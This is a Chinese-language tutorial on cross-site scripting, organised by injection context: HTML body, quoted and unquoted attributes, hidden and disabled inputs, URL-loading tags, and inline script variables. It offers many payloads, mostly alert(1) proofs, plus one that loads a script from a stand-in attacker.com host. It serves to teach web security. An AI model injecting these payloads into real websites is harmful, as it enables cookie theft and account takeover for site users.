0x00 介绍
在一切用户可控输入的地方,没有过滤输入内容,导致插入html代码,从而导致用户的信息泄露及其它的问题。XSS分为以下几种:
本文就来探究在不同情形下执行XSS的情况。
0x01 HTML XSS
HTML XSS 是最常见的一种XSS的情形。例如以下代码:
<!DOCTYPE HTML> <html> <head> <title>HTML Context</title> </head> <body> {{userinput}} </body> </html>
这种情形,可以用以下payloads:
<script src=//attacker.com/evil.js></script> <script>alert(1)</script> <svg onload=alert(1)> <body onload=alert(1)> <iframe onload=alert(1)>
为了注入JS代码成功,我们需要闭合前面的HTML标签,然后使用<svg onload=alert(1)//
类似payload 就可以成功XSS。
但是有些html标签中不执行js代码,例如:<title>, <textarea >,<xmp>
都需要使用</xmp><script>alert(1)</script>
先闭合标签,在插入JS代码。
0x02 属性 XSS
在这种情形下,用户的输入是在HTML 标签的属性当中的时候,怎么来执行JS 代码。会有三种情况:
- 双引号
- 单引号
- 无引号
就像这样:
<!DOCTYPE HTML> <html> <head> <title></title> </head> <body> .....
... <input type="" name="input" value="{{user input}}"> <!-- 双引号 --> <input type="" name="input" value='{{user input}}'> <!-- 单引号 --> <input type="" name="input" value={{user input}}> <!-- 无引号 --> ...
.... </body> </html>
1.双引号payloads:
"autofocus onfocus="alert(1) "autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)// "onmouseover="alert(1)// "autofocus onblur="alert(1)
2.单引号payloads:
'autofocus onfocus='alert(1) 'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)// 'onmouseover='alert(1)// 'autofocus onblur='alert(1)
3.无引号payloads:
aaaa autofocus onfocus=alert(1)// aaaa onbeforescriptexecute=alert(1)// aaaa onmouseover=alert(1)//
在使用这些标签属性的时候,并不是适用于每一个HTML标签,而且有些属性需要与用户的交互。当然也有不会执行JS的标签,例如:<meta>。更多的标签使用,可以查看参考里面的XSS过滤表。
还有些时候,用户的输入是在disabled或者hidden 中。
4.hidden 标签:
1)在onclick事件下,使用accesskey ,所以需要与用户交互。
<!DOCTYPE HTML> <html> .. <input type="hidden" value="{{userinput}}" /> .. </html>
Payload: "accesskey="X" onclick="alert(1)"
,为了触发事件,需要按Alt+SHIFT+X 键。
阿里先知XSS中的一道题:
<?php header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8'); ?> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <form action=''> <input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'> <input type='submit'> </body>
Payload: token='style='behavior:url(?)'onreadystatechange='alert(1)
2) 如果type="hidden"
参数是在后面:
<!DOCTYPE HTML> <html> .. <input value="{{userinput}}" type="hidden"/> .. </html>
Payload: " type=xx autofocus onfocus=alert(1)//
5.disabled
<!DOCTYPE HTML> <html> .. <input disabled value="{{userinput}}" /> .. </html>
Payload: "style="position:fixed;top:0;left:0;border:999em solid red;" onmouseover="alert(1)
只有firefox有效。
0x03 URL XSS
HTML标签 使用了加载URL的标签。
<script src="{{userinput}}"></script> <a href="{{userinput}}">Click</a> <iframe src="{{userinput}}" /> <base href="{{userinput}}"> <form action={{userinput}}> <button>X</button> <frameset><frame src="{{userinput}}"></frameset>
Payload: javascript:alert(1)//
0x04 JAVASCRIPT XSS
用户的输入在<script>
标签中,从而导致的JS代码执行。
1.
<!DOCTYPE HTML> <html> .. <script> var x="{{userinput}}";// break out of quotes accordingly if its double or single ..
... </script> .. </html>
Payloads:
";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
如果没有被转义的话,就可以直接执行JS代码了。
2.
<!DOCTYPE HTML> <html> .. <script> var x={{userinput}};
..
... </script> .. </html>
Payloads:
alert(1); 1-alert(1);
alert(1)//
我们要做的就是保持插入的代码在JS代码中不会有语法的错误,这样才能保证我们Payload 的正确执行。
3.
<!DOCTYPE HTML> <html> .. <script> var x=123; function test(){ if(test =='{{userinput}}'){ //something } else { //something }
}
test(); </script> .. </html>
首先用 test'){//
封闭条件判断的地方,变成:
function test(){ if(test =='test'){//'){ //something } else { //something }
}
但是这样只有在调用test()才能执行,所以我们要跳出这个函数输入:test'){1}}//
封闭test()函数:
function test(){ if(test =='test'){1}}//'){ //something } else { //something }
}
我们在使用test'){1}};alert(1);function test1(){ if(1){//
把对应的test位置替换下,利用test1 来封闭剩下的函数,但是这样执行会有错误,我们使用ES6的箭头函数来替代function
:
function test(){ if(test =='test'){1}};alert(1);test1=>{ if(1){//'){1}}//'){ //something } else { //something }
}
格式化后:
当然了这些XSS代码都是一些示例,大佬可以无视哦,实际中的话还跟浏览器的处理还有很大的关系,以及网页设置的编码等。
0x05 参考
https://github.com/Metnew/uxss-db https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (xss 过滤速查表)
审核人:yiwang 编辑:边边